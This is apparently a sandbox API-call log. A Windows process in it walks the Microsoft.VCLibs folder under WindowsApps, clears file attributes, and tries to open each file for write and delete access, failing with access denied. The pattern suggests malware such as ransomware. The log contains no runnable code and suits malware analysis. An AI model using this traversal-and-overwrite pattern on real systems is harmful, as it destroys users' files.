	[0091.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x155ef67, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0bda2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x155ef67, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.140] wcscmp (_String1=".", _String2=".") returned 0
	[0091.140] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x155ef67, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0bda2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x155ef67, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.140] wcscmp (_String1="..", _String2=".") returned 1
	[0091.140] wcscmp (_String1="..", _String2="..") returned 0
	[0091.140] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155ef67, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x15851c0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x15851c0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.140] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.140] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491d178
	[0091.140] wcscpy (in: _Dest=0x491d178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.140] wcscat (in: _Dest=0x491d178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.140] wcscat (in: _Dest=0x491d178, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.141] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.143] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.143] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.143] GetLastError () returned 0x5
	[0091.143] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d178) returned 1
	[0091.143] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155ef67, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x15851c0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x15851c0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.143] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0091.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0091.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0091.143] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x155ef67, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x155ef67, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.143] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.144] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12e18
	[0091.144] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0091.144] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0091.144] wcscat (in: _Dest=0x2e12e18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.144] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.144] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.144] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.144] GetLastError () returned 0x5
	[0091.144] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.144] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15851c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x15ab419, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x15ab419, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x36208, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140_app.dll", cAlternateFileName="")) returned 1
	[0091.144] wcscmp (_String1="concrt140_app.dll", _String2=".") returned 1
	[0091.144] wcscmp (_String1="concrt140_app.dll", _String2="..") returned 1
	[0091.144] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15ab419, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x15ab419, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x15ab419, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0091.144] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0091.144] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0091.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.144] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0091.144] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0091.144] wcscat (in: _Dest=0x4926008, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png"
	[0091.145] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0091.145] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.145] GetLastError () returned 0x5
	[0091.146] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.146] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb0d397aa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.146] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.146] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b170
	[0091.146] wcscpy (in: _Dest=0x491b170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0091.146] wcscat (in: _Dest=0x491b170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0091.146] wcscat (in: _Dest=0x491b170, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778660
	[0091.146] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.146] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.146] wcscat (in: _Dest=0x4778660, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0091.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb0d397aa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0e8
	[0091.152] wcscmp (_String1=".", _String2=".") returned 0
	[0091.152] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb0d397aa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.163] wcscmp (_String1="..", _String2=".") returned 1
	[0091.163] wcscmp (_String1="..", _String2="..") returned 0
	[0091.164] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0091.164] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0091.164] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0091.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026d78
	[0091.164] wcscpy (in: _Dest=0x5026d78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.164] wcscat (in: _Dest=0x5026d78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.164] wcscat (in: _Dest=0x5026d78, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716d10
	[0091.164] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.164] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.164] wcscat (in: _Dest=0x4716d10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.167] wcscmp (_String1=".", _String2=".") returned 0
	[0091.168] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.168] wcscmp (_String1="..", _String2=".") returned 1
	[0091.168] wcscmp (_String1="..", _String2="..") returned 0
	[0091.168] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec27704b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_32", cAlternateFileName="JSBYTE~1")) returned 1
	[0091.168] wcscmp (_String1="JSByteCodeCache_32", _String2=".") returned 1
	[0091.168] wcscmp (_String1="JSByteCodeCache_32", _String2="..") returned 1
	[0091.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2e45138
	[0091.168] wcscpy (in: _Dest=0x2e45138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.168] wcscat (in: _Dest=0x2e45138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.168] wcscat (in: _Dest=0x2e45138, _Source="JSByteCodeCache_32" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32"
	[0091.168] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_32")) returned 0x2024
	[0091.168] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32", dwFileAttributes=0x20) returned 0
	[0091.168] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_32"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.168] GetLastError () returned 0x5
	[0091.168] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32", dwFileAttributes=0x2024) returned 0
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45138) returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec27704b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_32", cAlternateFileName="JSBYTE~1")) returned 0
	[0091.169] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026d78) returned 1
